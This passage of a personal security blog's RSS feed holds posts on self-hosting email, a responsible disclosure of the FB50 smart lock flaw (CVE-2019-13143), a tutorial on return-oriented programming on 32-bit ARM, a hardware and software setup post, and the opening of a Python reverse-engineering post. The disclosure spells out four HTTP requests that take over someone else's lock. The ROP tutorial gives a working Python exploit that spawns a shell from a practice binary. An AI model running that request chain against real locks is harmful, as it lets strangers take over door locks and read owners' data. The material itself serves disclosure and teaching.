2636around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
2637I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
2638
2639<p>For this attempt, I wanted a simpler approach. I recall how terribly
2640confusing Dovecot & Postfix were to configure and hence I decided to look
2641for a containerized solution, that most importantly, runs on my cheap $5
2642Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
2643is actually available. So yeah, <em>pretty</em> tight.</p>
2644
2645<h2 id="whats-available">What’s available</h2>
2646
2647<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
2648These are the ones I came across:</p>
2649
2650<ul>
2651<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
2652and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
2653<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
2654but ships with a web UI that I didn’t need. </p></li>
2655<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
2656they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
2657<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
2658a mention. It however, needs a fresh box to work with. A box with absolutely
2659nothing else on it. I can’t afford to do that.</p></li>
2660<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
2661</ul>
2662
2663<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
2664
2665<p>The first thing that caught my eye in the README:</p>
2666
2667<blockquote>
2668 <p>Recommended:</p>
2669
2670 <ul>
2671 <li>1 CPU</li>
2672 <li>1GB RAM</li>
2673 </ul>
2674
2675 <p>Minimum:</p>
2676
2677 <ul>
2678 <li>1 CPU</li>
2679 <li>512MB RAM</li>
2680 </ul>
2681</blockquote>
2682
2683<p>Fantastic, I can somehow squeeze this into my existing VPS.
2684Setup was fairly simple & the docs are pretty good. It employs a single
2685<code>.env</code> file for configuration, which is great.
2686However, I did run into a couple of hiccups here and there.</p>
2687
2688<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
2689of memory.</p>
2690
2691<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
2692</code></pre>
2693
2694<p>But it eventually worked after a couple of attempts.</p>
2695
2696<p>The next thing I struggled with — DNS. Specifically, the with the step where
2697the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
2698<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
2699isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
2700a <code>TXT</code> record. </p>
2701
2702<p>This is what it looks like.</p>
2703
2704<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
2705 "p=<key>"
2706 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
2707</code></pre>
2708
2709<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
2710and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
2711Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
2712
2713<p>To simplify debugging DNS issues later, it’s probably a good idea to
2714point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
2715<code>A</code> record.
2716You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
2717uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
2718And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
2719your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
2720I learnt this part the hard way, when my outgoing email kept getting
2721rejected by Tutanota’s servers.</p>
2722
2723<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
2724documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
2725and look at an example. In short, install <code>certbot</code>, have port 80 free,
2726and run </p>
2727
2728<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
2729</code></pre></div>
2730
2731<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
2732the container, something like so:</p>
2733
2734<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
2735
2736<span class="nt">volumes</span><span class="p">:</span>
2737 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
2738 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
2739 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
2740 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
2741
2742<span class="nn">...</span>
2743</code></pre></div>
2744
2745<p>With this done, you shouldn’t have mail clients complaining about
2746wonky certs for which you’ll have to add an exception manually.</p>
2747
2748<h2 id="why-would-you">Why would you…?</h2>
2749
2750<p>There are a few good reasons for this:</p>
2751
2752<h3 id="privacy">Privacy</h3>
2753
2754<p>No really, this is <em>the</em> best choice for truly private
2755email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
2756dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
2757
2758<blockquote>
2759 <p>Truly secure systems do not require you to trust the service provider.</p>
2760</blockquote>
2761
2762<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
2763how can you really be sure that it isn’t a backdoored version of it?</p>
2764
2765<p>When you host your own mailserver, you truly own your email without having to rely on any
2766third-party.
2767This isn’t an attempt to spread FUD. In the end, it all depends on your
2768threat model™.</p>
2769
2770<h3 id="decentralization">Decentralization</h3>
2771
2772<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
2773active users. That’s obscene.
2774Email was designed to be decentralized but big corps swooped in and
2775made it a product. They now control your data, and it isn’t unknown that
2776Google reads your mail. This again loops back to my previous point, privacy.
2777Decentralization guarantees privacy. When you control your mail, you subsequently
2778control who reads it.</p>
2779
2780<h3 id="personalization">Personalization</h3>
2781
2782<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
2783
2784<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
2785
2786<p>Pfft, this is no competition.</p>
2787
2788<div class="footnotes">
2789<hr />
2790<ol>
2791<li id="fn-1">
2792<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2793</li>
2794
2795<li id="fn-2">
2796<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2797</li>
2798
2799<li id="fn-3">
2800<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2801</li>
2802</ol>
2803</div>
2804]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
2805
2806<h2 id="the-lock">The lock</h2>
2807
2808<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
2809Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
2810across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
2811
2812<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
2813the Play/App Store to function. The app requires the user to create an
2814account before further functionality is available.
2815It also facilitates configuring the fingerprint,
2816and unlocking from a range via Bluetooth.</p>
2817
2818<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE)
2819and the Android app.</p>
2820
2821<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
2822
2823<p>Android phones have the ability to capture Bluetooth (HCI) traffic
2824which can be enabled under Developer Options under Settings. We made
2825around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
2826
2827<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
2828
2829<p>This is the value sent in the <code>Write</code> request:</p>
2830
2831<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
2832
2833<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
2834but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
2835
2836<h2 id="via-the-android-app">Via the Android app</h2>
2837
2838<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
2839far since most of it was obfuscated. Why bother when there exists an
2840easier approach—BurpSuite.</p>
2841
2842<p>We captured and played around with a bunch of requests and responses,
2843and finally arrived at a working exploit chain.</p>
2844
2845<h2 id="the-exploit">The exploit</h2>
2846
2847<p>The entire exploit is a 4 step process consisting of authenticated
2848HTTP requests:</p>
2849
2850<ol>
2851<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
2852vicinity), get the barcode and lock ID</li>
2853<li>Using the barcode, fetch the user ID</li>
2854<li>Using the lock ID and user ID, unbind the user from the lock</li>
2855<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
2856to the lock</li>
2857</ol>
2858
2859<p>This is what it looks like, in essence (personal info redacted).</p>
2860
2861<h3 id="request-1">Request 1</h3>
2862
2863<pre><code>POST /oklock/lock/queryDevice
2864{"mac":"XX:XX:XX:XX:XX:XX"}
2865</code></pre>
2866
2867<p>Response:</p>
2868
2869<pre><code>{
2870 "result":{
2871 "alarm":0,
2872 "barcode":"<BARCODE>",
2873 "chipType":"1",
2874 "createAt":"2019-05-14 09:32:23.0",
2875 "deviceId":"",
2876 "electricity":"95",
2877 "firmwareVersion":"2.3",
2878 "gsmVersion":"",
2879 "id":<LOCK ID>,
2880 "isLock":0,
2881 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
2882 "lockPwd":"000000",
2883 "mac":"XX:XX:XX:XX:XX:XX",
2884 "name":"lock",
2885 "radioName":"BlueFPL",
2886 "type":0
2887 },
2888 "status":"2000"
2889}
2890</code></pre>
2891
2892<h3 id="request-2">Request 2</h3>
2893
2894<pre><code>POST /oklock/lock/getDeviceInfo
2895
2896{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
2897</code></pre>
2898
2899<p>Response:</p>
2900
2901<pre><code> "result":{
2902 "account":"email@some.website",
2903 "alarm":0,
2904 "barcode":"<BARCODE>",
2905 "chipType":"1",
2906 "createAt":"2019-05-14 09:32:23.0",
2907 "deviceId":"",
2908 "electricity":"95",
2909 "firmwareVersion":"2.3",
2910 "gsmVersion":"",
2911 "id":<LOCK ID>,
2912 "isLock":0,
2913 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
2914 "lockPwd":"000000",
2915 "mac":"XX:XX:XX:XX:XX:XX",
2916 "name":"lock",
2917 "radioName":"BlueFPL",
2918 "type":0,
2919 "userId":<USER ID>
2920 }
2921</code></pre>
2922
2923<h3 id="request-3">Request 3</h3>
2924
2925<pre><code>POST /oklock/lock/unbind
2926
2927{"lockId":"<LOCK ID>","userId":<USER ID>}
2928</code></pre>
2929
2930<h3 id="request-4">Request 4</h3>
2931
2932<pre><code>POST /oklock/lock/bind
2933
2934{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
2935</code></pre>
2936
2937<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
2938
2939<p>You should have the lock transferred to your account. The severity of this
2940issue lies in the fact that the original owner completely loses access to
2941their lock. They can’t even “rebind” to get it back, since the current owner
2942(the attacker) needs to authorize that. </p>
2943
2944<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
2945Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
2946“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
2947
2948<p><em>shudders</em></p>
2949
2950<h2 id="proof-of-concept">Proof of Concept</h2>
2951
2952<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
2953
2954<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
2955
2956<h2 id="disclosure-timeline">Disclosure timeline</h2>
2957
2958<ul>
2959<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
2960<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
2961<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
2962<li>No response from vendor</li>
2963<li><strong>2nd August 2019</strong>: Public disclosure</li>
2964</ul>
2965
2966<h2 id="lessons-learnt">Lessons learnt</h2>
2967
2968<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
2969with keys. With the IoT plague spreading, it brings in a large attack surface
2970to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
2971
2972<p>The IoT security scene is rife with bugs from over 10 years ago, like
2973executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
2974practices in general.</p>
2975
2976<p>Our existing threat models and scenarios have to be updated to factor
2977in these new exploitation possibilities. This also broadens the playing
2978field for cyber warfare and mass surveillance campaigns. </p>
2979
2980<h2 id="researcher-info">Researcher info</h2>
2981
2982<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
2983
2984<ul>
2985<li>Anirudh Oppiliappan (me)</li>
2986<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
2987<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
2988</ul>
2989
2990<div class="footnotes">
2991<hr />
2992<ol>
2993<li id="fn-1">
2994<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2995</li>
2996
2997<li id="fn-2">
2998<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2999</li>
3000
3001<li id="fn-3">
3002<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
3003</li>
3004</ol>
3005</div>
3006]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
3007assembly to follow along. I highly recommend
3008<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
3009Basics</a>. Once you’re
3010comfortable with it, proceed with the next bit—environment setup.</p>
3011
3012<h2 id="setup">Setup</h2>
3013
3014<p>Since we’re working with the ARM architecture, there are two options to go
3015forth with: </p>
3016
3017<ol>
3018<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
3019And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
3020The scripts found inside should be self-explanatory.</li>
3021<li>Use actual ARM hardware, like an RPi.</li>
3022</ol>
3023
3024<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
3025may use <code>radare2</code>, IDA or anything else, really. All of which can be
3026trivially installed.</p>
3027
3028<p>And for the sake of simplicity, disable ASLR:</p>
3029
3030<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
3031</code></pre></div>
3032
3033<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
3034<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
3035
3036<p>Compile it:</p>
3037
3038<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
3039</code></pre></div>
3040
3041<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
3042
3043<h2 id="a-primer-on-rop">A primer on ROP</h2>
3044
3045<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
3046used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
3047In essence, no code in the binary is actually modified and the entire exploit
3048is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
3049
3050<p>A gadget is essentially a small sequence of code (instructions), ending with
3051a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
3052code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
3053These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
3054to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
3055there’s generally a call to <code>system()</code>, to acheive code execution.</p>
3056
3057<p>In practice, the process of executing a ropchain is something like this:</p>
3058
3059<ul>
3060<li>confirm the existence of a stack-based buffer overflow</li>
3061<li>identify the offset at which the instruction pointer gets overwritten</li>
3062<li>locate the addresses of the gadgets you wish to use</li>
3063<li>craft your input keeping in mind the stack’s layout, and chain the addresses
3064of your gadgets</li>
3065</ul>
3066
3067<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
3068Check it out, it might be just what you needed for that “aha!” moment :)</p>
3069
3070<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
3071that should put things into perspective.</p>
3072
3073<h2 id="exploring-our-binary">Exploring our binary</h2>
3074
3075<p>Start by running it, and entering any arbitrary string. On entering a fairly
3076large string, say, “A” × 20, we
3077see a segmentation fault occur.</p>
3078
3079<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
3080
3081<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
3082
3083<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
3084
3085<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
3086<code>gadget</code>. Disassembling the <code>main</code> function:</p>
3087
3088<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
3089
3090<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
3091to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
3092never actually called.</p>
3093
3094<p>Disassembling the <code>gadget</code> function:</p>
3095
3096<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
3097
3098<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
3099which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
3100instruction in the middle. This is a <strong>gadget</strong>.</p>
3101
3102<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
3103arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
3104are used for this. So this gadget effectively allows us to pass arguments to
3105functions using <code>r0</code>, and subsequently jumping to them by passing its address
3106in <code>pc</code>. Neat.</p>
3107
3108<p>Moving on to the disassembly of the <code>winner</code> function:</p>
3109
3110<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
3111
3112<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
3113So our end goal here is to, quite obviously, execute code via the <code>system()</code>
3114function.</p>
3115
3116<p>Now that we have an overview of what’s in the binary, let’s formulate a method
3117of exploitation by messing around with inputs.</p>
3118
3119<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
3120
3121<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
3122screenshot.</p>
3123
3124<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
3125
3126<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
3127the <code>pc</code> has been overwritten with our input.
3128So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
3129
3130<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
3131control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
3132
3133<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
3134of the second instruction—<code>add r11, sp, #4</code>.
3135For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
3136the address of <code>winner</code>. Note the endianness.</p>
3137
3138<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
3139</code></pre></div>
3140
3141<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
3142
3143<p>The reason we don’t jump to the first instruction is because we want to control the stack
3144ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
3145those out after <code>winner</code> is done executing and we will no longer control
3146where it jumps to.</p>
3147
3148<p>So that didn’t do much, just prints out a string “Nothing much here…”.
3149But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
3150to do what we want (run a command, execute a shell, etc.).</p>
3151
3152<p>To do that, we’ll follow a multi-step process: </p>
3153
3154<ol>
3155<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
3156<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
3157<code>r0</code>.</li>
3158<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
3159</ol>
3160
3161<p>The pseudo-code is something like this:</p>
3162
3163<pre><code>string = AAAABBBBCCCCDDDDEEEE
3164gadget = # addr of gadget
3165binsh = # addr of /bin/sh
3166system = # addr of system()
3167
3168print(string + gadget + binsh + system)
3169</code></pre>
3170
3171<p>Clean and mean.</p>
3172
3173<h2 id="the-exploit">The exploit</h2>
3174
3175<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>.
3176It allows us to pack the bytes of addresses to the endianness of our choice.
3177It probably does a lot more, but who cares.</p>
3178
3179<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
3180at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
3181
3182<pre><code>(gdb) find &system, +9999999, "/bin/sh"
3183</code></pre>
3184
3185<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
3186
3187<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
3188found from the disassmblies from earlier. Here’s the final exploit code:</p>
3189
3190<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
3191
3192<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
3193<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
3194<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
3195<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
3196
3197<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
3198</code></pre></div>
3199
3200<p>Honestly, not too far off from our pseudo-code :)</p>
3201
3202<p>Let’s see it in action:</p>
3203
3204<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
3205
3206<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
3207when the pipe closes, since there’s no input coming in from STDIN.
3208To get around this, we use <code>cat(1)</code> which allows us to relay input through it
3209to the shell. Nifty trick.</p>
3210
3211<h2 id="conclusion">Conclusion</h2>
3212
3213<p>This was a fairly basic challenge, with everything laid out conveniently.
3214Actual ropchaining is a little more involved, with a lot more gadgets to be chained
3215to acheive code execution.</p>
3216
3217<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
3218]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
3219
3220<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
32218 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
3222
3223<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
3224I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
3225
3226<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
3227
3228<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
3229For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
3230
3231<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
3232Great pair of headphones, although the ear cups need replacing.</p>
3233
3234<h2 id="and-the-software">And the software</h2>
3235
3236<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
3237window manager, all riced. I now use whatever JustWorks™.</del></p>
3238
3239<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
3240running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
3241
3242<p>Here’s a (riced) screenshot of my desktop. </p>
3243
3244<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
3245
3246<p>Most of my work is done in either the browser, or the terminal.
3247My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
3248a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>.
3249My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
3250I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
3251
3252<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
3253clean and a single command to drop into a Kali shell.</p>
3254
3255<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
3256The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
3257
3258<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
3259]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
3260
3261<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
3262
3263<h2 id="setup">Setup</h2>
3264
3265<p>As the title suggests, you’re going to need a Python 3 interpreter before
3266anything else. Once you’ve confirmed beyond reasonable doubt that you do,
